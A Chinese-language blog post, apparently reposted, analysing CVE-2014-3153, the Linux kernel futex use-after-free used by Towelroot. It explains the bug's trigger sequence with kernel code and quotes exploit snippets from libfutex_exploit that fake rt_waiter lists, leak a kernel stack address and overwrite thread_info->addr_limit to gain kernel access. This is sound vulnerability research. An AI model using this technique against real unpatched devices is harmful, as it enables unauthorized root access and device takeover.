CVE-2014-3153笔记

转载自Lost and Found

CVE-2014-3153可以说是相当经典的漏洞,影响范围相当广泛。这实际上是一个Linux内核的Use-After-Free漏洞,利用得当可以转化为任意内核地址写入。Geohot的TowelRoot也利用了这个漏洞,在当时(以及现在)能够Root(或Crash)绝大多数Android设备。由于工作的需要,收集了该漏洞的一些资料,并且对漏洞原理和利用方法进行了一些学习和分析。

 

参考资料

 

以下是收集的资料:

 

http://blog.nativeflow.com/the-futex-vulnerability

http://blog.nativeflow.com/escalating-futex

http://blog.nativeflow.com/pwning-the-kernel-root

http://blog.topsec.com.cn/ad_lab/cve2014-3153/

https://github.com/timwr/CVE-2014-3153

https://github.com/android-rooting-tools/libfutex_exploit

https://github.com/nativeflow/pwntex

Exploiting the Futex Bug and uncovering Towelroot

https://github.com/torvalds/linux/commit/e9c243a5a6de0be8e584c604d353412584b592f8

个人觉得NativeFlow的三篇文章详细的解释了各种细节以及利用方法,包括使用模拟器进行内核调试、问题代码补丁地址、Crash PoC以及图示。天融信的文章结合了NativeFlow的三篇文章,并加入了自己的见解和分析,也挺不错,就是排版稍差。pwntex是NativeFlow给出的Relock和Requeue的PoC,而CVE-2014-3153和libfutex_exploit则是两个可以在Android上获取Root权限的PoC。

 

漏洞原理

 

以pwntex的requeue为例说明这个漏洞的过程。

 

main -> futex_lock_pi(&B);

此时会进入系统调用futex_lock_pi,执行的正常流程,B中的内容被设置为线程的Id。

thread -> futex_wait_requeue_pi(&A, &B);

这是在main创建的新线程中,进入系统调用futex_wait_requeue_pi后,初始化一个futex_q结构体和rt_mutex_waiter。然后调用futex_wait_queue_me在A上进行等待,此时futex_q会被加入到A对应的hb->chain上。

main -> futex_requeue_pi(&A, &B, A);

进入内核调用futex_requeue,接下来会走到futex_proxy_trylock_atomic,然后调用futex_lock_pi_atomic。在futex_lock_pi_atomic中,由于B已经被锁住,流程走到lookup_pi_state,lookup_pi_state内部会创建一个pi_state,并且挂入task->pi_state_list。这个是新线程的task。所以,此时线程2的task结构中的pi_state_list挂上了一个pi_state。然后返回到futex_requeue中,尝试把A上的futex_q转移到B上。在这个过程中,会取出futex_q中的rt_waiter,添加到之前创建的pi_state的pi_mutex链表上。

B = 0;

在用户态解锁。

futex_requeue_pi(&B, &B, B);

再次进入futex_requeue,此时futex_lock_pi_atomic会成功获取锁并返回,然后分支会走向 requeue_pi_wake_futex,尝试唤醒等待的线程。 requeue_pi_wake_futex的代码:

  1. static inline
  2. void requeue_pi_wake_futex(struct futex_q* q, union futex_key* key,
  3.                            struct futex_hash_bucket* hb) {
  4.   get_futex_key_refs(key);
  5.   q->key = *key;
  6.   __unqueue_futex(q);
  7.   WARN_ON(!q->rt_waiter);
  8.   q->rt_waiter = NULL;
  9.   q->lock_ptr = &hb->lock;
  10.   wake_up_state(q->task, TASK_NORMAL);
  11. }

thread -> futex_wait_requeue_pi(&A, &B);

此时线程2被唤醒,代码如下:

  1. /* Check if the requeue code acquired the second futex for us. */
  2. if (!q.rt_waiter) {
  3.   /*
  4.    * Got the lock. We might not be the anticipated owner if we
  5.    * did a lock-steal – fix up the PI-state in that case.
  6.    */
  7.   if (q.pi_state && (q.pi_state->owner != current)) {
  8.     spin_lock(q.lock_ptr);
  9.     ret = fixup_pi_state_owner(uaddr2, &q, current);
  10.     spin_unlock(q.lock_ptr);
  11.   }
  12. } else {
  13.   /*
  14.    * We have been woken up by futex_unlock_pi(), a timeout, or a
  15.    * signal. futex_unlock_pi() will not destroy the lock_ptr nor
  16.    * the pi_state.
  17.    */
  18.   WARN_ON(!q.pi_state);
  19.   pi_mutex = &q.pi_state->pi_mutex;
  20.   ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1);
  21.   debug_rt_mutex_free_waiter(&rt_waiter);

由于requeue_pi_wake_futex把futex_q的rt_waiter清零了,所以流程会走第一个分支。导致了rt_waiter没有从q.pi_state->pi_mutex摘除。导致了UAF。

利用原理

 

结合libfutex_exploit,说利用的原理。利用requeue和relock导致的结果是在pi_state->pi_mutex残留了一个在线程2栈上的rt_waiter,使用sendmmsg之类的系统调用,可以控制内核栈上的内容。因此,用户态控制内核栈中rt_waiter的内容。通过设置线程的优先级以及futex_lock_pi,可以控制pi_state->pi_mutex链表。rt_waiter的结构如下:

  1. struct list_head {
  2.   struct list_head *next;
  3.   struct list_head *prev;
  4. };
  5. struct plist_node {
  6.   int prio;
  7.   struct list_head prio_list;
  8.   struct list_head node_list;
  9. };
  10. struct rt_mutex;
  11. struct rt_mutex_waiter {
  12.   struct plist_node list_entry;
  13.   struct plist_node pi_list_entry;
  14.   struct task_struct *task;
  15.   struct rt_mutex *lock;
  16. };

所以,通过控制插入节点,即插入rt_waiter,用户态可以泄露出一个内核的rt_waiter地址。适当的构造链表,可以利用插入向任意内核地址写入一个rt_waiter的地址。NativeFlow的文章中的描述是“write an uncontrolled value to a controlled address”,十分贴切。

 

libfutex_exploit中的用法是,在用户态创建两个伪造的rt_waiter,并设置他们的优先级分别为13和13,然后将这两个rt_waiter连在一起:

  1. static void
  2. setup_waiter_params(struct rt_mutex_waiter *rt_waiters) {
  3.   rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
  4.   rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
  5.   plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
  6.   plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
  7. }

然后通过futex_lock_pi插入一个优先级位于9和和13的rt_waiter,企图将rt_waiter插入到伪造的链表中。如果插入成功,用户态可以拿到内核的栈地址(这一步只是探测):

  1. setup_waiter_params(rt_waiters);
  2. magicval = rt_waiters[0].list_entry.prio_list.next;
  3. do_futex_lock_pi_with_priority(11);
  4.  
  5. if (rt_waiters[0].list_entry.prio_list.next == magicval) {
  6.   printf(“failed to exploit…\n”);
  7.   return false;
  8. }

这个泄露了rt_waiter的线程对于提权至关重要。通过这个内核栈地址,可以计算出这个线程的thread_info的地址,方法是用栈地址和0xffffe000进行AND运算。而修改thread_info->addr_limit可以控制线程范围内存的范围,只要大于0xc0000000,就可以访问部分内核,修改为0xffffffff则是整个内核空间。

 

插入链表的最终实现如下:

  1. static inline void __list_add(struct list_head* new,
  2.                               struct list_head* prev,
  3.                               struct list_head* next) {
  4.   next->prev = new;
  5.   new->next = next;
  6.   new->prev = prev;
  7.   prev->next = new; // write kernel.
  8. }

libfutex_exploit利用的方法是,用户态构造rt_waiter链表,然后修改了第二个rt_waiter的prev修改为另外一个线程的thread_info->addr_limit。这样在内核执行__list_add时,会把prev指向的地址当作一个节点处理,会向这个地址写入一个rt_waiter的地址。也就是说,把某个线程的thread_info->addr_limit写入了一个内核栈地址,所以写入之后该线程能够访问一部分的内核空间。libfutex_exploit中对应的代码如下:

  1. pid = do_futex_lock_pi_with_priority(11);
  2. magicval = rt_waiters[0].list_entry.prio_list.next;
  3. hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffe000);
  4. pthread_mutex_lock(&is_thread_awake_lock);
  5. kill(pid, SIGNAL_HACK_KERNEL);
  6. pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  7. pthread_mutex_unlock(&is_thread_awake_lock);
  8. sync_with_child(pid, &do_hack_tid_read, &did_hack_tid_read);
  9. setup_waiter_params(rt_waiters);
  10. rt_waiters[1].list_entry.prio_list.prev = (void *)&hack_thread_stack->addr_limit;
  11. do_futex_lock_pi_with_priority(12);

在有漏洞的机器上执行完上述代码,pid对应的线程就具备了访问内核地址的能力,可以进行提权和Patch。为了能够访问整个内存,有一种利用代码是不断的尝试去修改addr_limit,直到有一条线程能够修改其他线程的addr_limit,然后改成0xffffffff。libfutex_exploit没这样做的原因是,内核栈地址一般都比较大,修改完之后,线程已经能够范围内核的代码空间。libfutex_exploit被用在android_run_root_shell中,android_run_root_shell使用了统一的接口进行漏洞利用,均是企图修改ptmx_fops_fsync_address来执行内核代码进行提权,所以这样已经足够了。如果产品化的话,还有很多坑要踩,Android的碎片化实在太严重。

 

断断续续看了一段时间,直到现在才把大部分细节弄明白,十分佩服发现漏洞的Comex和能写出Exploit的牛人们。最后,UAF的利用,需要注意覆盖和利用的时机,在IE里也一样。

发表评论

Fill in your details below or click an icon to log in:

WordPress.com 徽标

您正在使用您的 WordPress.com 账号评论。 登出 /  更改 )

Google photo

您正在使用您的 Google 账号评论。 登出 /  更改 )

Twitter picture

您正在使用您的 Twitter 账号评论。 登出 /  更改 )

Facebook photo

您正在使用您的 Facebook 账号评论。 登出 /  更改 )

Connecting to %s